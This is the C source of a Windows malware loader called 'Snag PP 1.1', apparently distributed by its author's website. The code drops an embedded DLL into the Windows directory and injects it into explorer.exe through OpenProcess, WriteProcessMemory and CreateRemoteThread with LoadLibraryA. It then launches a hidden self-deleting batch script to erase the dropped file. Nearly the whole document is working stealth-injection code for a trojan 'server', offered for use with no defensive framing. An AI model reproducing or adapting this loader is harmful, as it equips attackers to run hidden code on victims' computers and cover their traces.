/**********************************
Snag PP 1.1 source by r3L4x
this was downloaded from r3L4x.com!
Go there to get tons of other 
source codes to things i have made
***********************************/

#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /stub:stub.exe")
#pragma comment(linker,"/INCREMENTAL:NO /FILEALIGN:512")
#pragma comment(linker,"/ENTRY:Entrypoint /MERGE:.rdata=.text /MERGE:.data=.text") 
//#pragma comment(lib, "srt.lib")			/*EliRT*/
#pragma comment(lib, "msvcrt.lib")		/*Smallness*/

//Headers
#include <windows.h>	/*Win32 API*/
#include <stdio.h>		/*easy io*/
#include <EliRT.h>		/*EliRT functions*/
#include <string.h>

//instead of the dll creating the batch to delete its self
//the loader does it, it makes the server slightly smaller
void Melt()
{
	char path[MAX_PATH]; //path of dll
	char fullbat[MAX_PATH]; //path of batch
	FILE *stream;   //file stream

	//get windows path
	GetWindowsDirectory(fullbat, MAX_PATH);
	strcat(fullbat, "\\bat.bat");
	GetWindowsDirectory(path, MAX_PATH);
	strcat(path, "\\win32.dll");
	stream = fopen(fullbat, "w");
	fprintf(stream, ":s\ndel \"%s\"\nIf Exist \"%s\" goto s\ndel \"%s\"", path, path, fullbat);
	fclose(stream);
	ShellExecute(NULL, "open", fullbat, NULL, NULL, SW_HIDE);
}

void Entrypoint()
{
/**********************************
the way the loader drops the dll is 
a little bit different, instead of 
having it as a resource its stored
in an empty array of zeros's in the
body of the exe. use the vb project
in the tester folder to fill it in
**********************************/

	FILE *dllStream;
	char dllPath[MAX_PATH];
	static BYTE dllBuff[6144];
	
	//prep vars to hold our path the the dll
	GetWindowsDirectory(dllPath, MAX_PATH);
	lstrcat(dllPath, "\\win32.dll");
	dllStream = fopen(dllPath, "w+b");

	//dump the static buffer into that file
	if (fwrite(&dllBuff, 6144, 1, dllStream) == 0)
	{
		ExitProcess(0);
	}
	fclose(dllStream);

	//dll injection code
	HWND window;
	HANDLE process;
	DWORD pidwin;
	HANDLE thread;
	LPVOID m2;
	FARPROC k32;
	//explorers handle
	window = FindWindow("shell_traywnd", NULL); 

	//get pid (process id) by its window handle 
	GetWindowThreadProcessId(window, &pidwin);
	process = OpenProcess(PROCESS_ALL_ACCESS, false, pidwin);
	k32 = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	//free space in the process
	m2 = xVirtualAllocEx(process, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(process, m2, (LPVOID)dllPath, strlen(dllPath) + 1, NULL);
	thread = xCreateRemoteThread(process, NULL, 0, (unsigned long(__stdcall *)(void *)) k32, m2, 0, NULL);
	WaitForSingleObject(thread, INFINITE);
	xVirtualFreeEx(process, m2, 0, MEM_RELEASE);
	CloseHandle(thread);
	Melt();
	ExitProcess(0);
	
}
